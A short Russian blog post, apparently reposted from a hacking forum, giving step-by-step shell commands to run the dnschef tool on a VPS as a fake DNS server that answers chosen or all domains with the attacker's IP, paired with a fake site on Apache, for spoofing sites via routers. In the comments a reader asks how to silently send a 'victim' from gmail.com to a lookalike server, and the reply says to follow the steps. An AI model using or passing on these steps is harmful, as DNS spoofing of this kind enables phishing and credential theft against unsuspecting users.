Поднимаем фейковый DNS, подмена сайтов на роутерах



Так заметочка не статья.
Тема порождает много вопросов. Одно из решений.
Ответ на вопрос в профильной теме на ачате.
Решил запостить и сюда наверняка кому то будет интересно.
================================================
Питон установлен в большинстве случаев
Заходим по SSH на VPS.

# wget https://thesprawl.org/media/projects/dnschef-0.3.zip

# unzip dnschef-0.3.zip

# cd dnschef*

# chmod 755 *.py

ставим модули

# pip install dnslib

# pip install IPy

создаем файлик hosts.txt

huyandex.ru=IP_TВОЕГО_VPS

запускаем. предварительно убедись что 53 порт не занят и запущен апач с фейком

./dnschef.py -i 0.0.0.0 --logfile=log.txt --file=hosts.txt

Твой DNS работает. Возвращает адреса, но только на запрос huyandex.ru отдает

IP_TВОЕГО_VPS

Либо так:

./dnschef.py -i 0.0.0.0 --logfile=log.txt --fakeip=IP_TВОЕГО_VPS

Так твой ip возвращается в ответ на ЛЮБОЙ запрос.

Если нужно оставить скрипт работать и выйти с vps, то запускайте через screen или nohup.

Можно прописывать адрес DNS в (!СВОЙ!) роутер. Вторым DNS лучше прописать
реальный ip скажем 8.8.8.8. Если ваш vps прикроют то инет через роутер будет работать.

В пакете есть скомпиленная версия под Windows ей не нужны дополнительные модули и питон.

Можно просто запустить на дедике.

Комментарии

  1. Уважаемый а сами вы это проделывали ? Модули встали .
    но
    # cd dnschef*
    # chmod 755 *.py
    что это и для чего ?
    и ./dnschef.py запустить не выходит .

    ОтветитьУдалить
  2. А как переадресовать жертву, незаметно, на другой https адрес ? (к примеру обращается на https://gmail.com а мы её пересылаем на наш сервер https://ghmail.com)

    ОтветитьУдалить
    Ответы
    1. Узнай IP сервера на который хочешь переадресовать и делай как написанно.

      Удалить

Отправить комментарий